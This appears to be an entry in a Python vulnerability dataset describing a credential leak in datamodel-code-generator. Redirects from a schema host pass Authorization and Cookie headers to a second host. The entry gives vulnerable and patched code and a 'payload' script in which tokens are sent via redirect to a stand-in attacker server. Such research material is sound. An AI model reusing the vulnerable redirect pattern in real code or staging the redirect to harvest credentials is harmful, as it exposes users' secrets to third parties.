VAITP Dataset

← Back to the dataset

CVE-2026-55403

datamodel-code-generator leaks credentials during cross-origin redirects.

  • CVSS 3.7
  • 200
  • Information Leakage
  • Remote

datamodel-code-generator generates Python data models from schema definitions. Prior to 0.63.0, src/datamodel_code_generator/http.py get_body reuses Authorization, Cookie, and Proxy-Authorization headers when following cross-origin redirects while fetching remote schemas, allowing credentials scoped to one schema host to be leaked to another redirect target. This issue is fixed in version 0.63.0.

CWE
200
CVSS base score
3.7
Published
2026-07-28
OWASP
A10 Server-Side Request Forgery (SSRF)
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
datamodel-co
Fixed by upgrading
Yes

Solution

Upgrade datamodel-code-generator to version 0.63.0 or later.

Vulnerable code sample

import httpx
from typing import Dict, List, Optional, Union

def get_body(
    url: Union[httpx.URL, str],
    headers: Optional[List[str]] = None,
    ignore_tls: bool = False,
) -> str:
    _headers: Dict[str, str] = {}
    if headers:
        _headers = {
            header.split(':')[0].strip(): header.split(':', 1)[1].strip()
            for header in headers
        }

    with httpx.Client(
        headers=_headers, verify=not ignore_tls, follow_redirects=False
    ) as client:
        response = client.get(url)
        if response.is_redirect:
            # VULNERABLE: Manually following redirects and re-supplying the original headers
            # allows credentials to be leaked to a different, potentially malicious, host.
            return get_body(response.headers['location'], headers, ignore_tls)
        response.raise_for_status()
        return response.text

Patched code sample

import httpx
from typing import Dict, List, Optional, Union

def get_body(
    url: Union[httpx.URL, str],
    headers: Optional[List[str]] = None,
    ignore_tls: bool = False,
) -> str:
    _headers: Dict[str, str] = {}
    if headers:
        _headers = {
            header.split(':')[0].strip(): header.split(':', 1)[1].strip()
            for header in headers
        }

    # FIX: Delegate redirect handling to the http client, which correctly strips
    # sensitive headers (e.g., Authorization) on cross-origin redirects.
    with httpx.Client(
        headers=_headers, verify=not ignore_tls, follow_redirects=True
    ) as client:
        response = client.get(url)
        response.raise_for_status()
        return response.text

Payload

from datamodel_code_generator import generate
from pathlib import Path

# This script represents the victim's action.
# It uses a vulnerable version of the library (< 0.63.0) to generate a data model.

# An attacker has set up a server at `http://attacker-controlled-server.com/log`
# to receive and log headers. They have also compromised or created a URL at
# `http://trusted-server.com/schema.json` that issues a 302 redirect
# to the attacker's server.

# The URL that the victim is tricked into using. It appears trustworthy but will redirect.
redirecting_schema_url = "http://trusted-server.com/schema.json"

# The victim's credentials, intended only for `trusted-server.com`.
secret_credentials = {
    "Authorization": "Bearer top-secret-auth-token-for-trusted-server",
    "Cookie": "sessionid=user_session_for_trusted_server"
}

# The vulnerable library call. When the library follows the redirect from
# `trusted-server.com` to `attacker-controlled-server.com`, it will
# incorrectly reuse and send the `secret_credentials` to the attacker's server.
generate(
    input_=redirecting_schema_url,
    input_file_type='openapi',
    output=Path('generated_model.py'),
    custom_header=secret_credentials
)

Cite this entry

@misc{vaitp:cve202655403,
  title        = {{datamodel-code-generator leaks credentials during cross-origin redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-55403},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55403/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::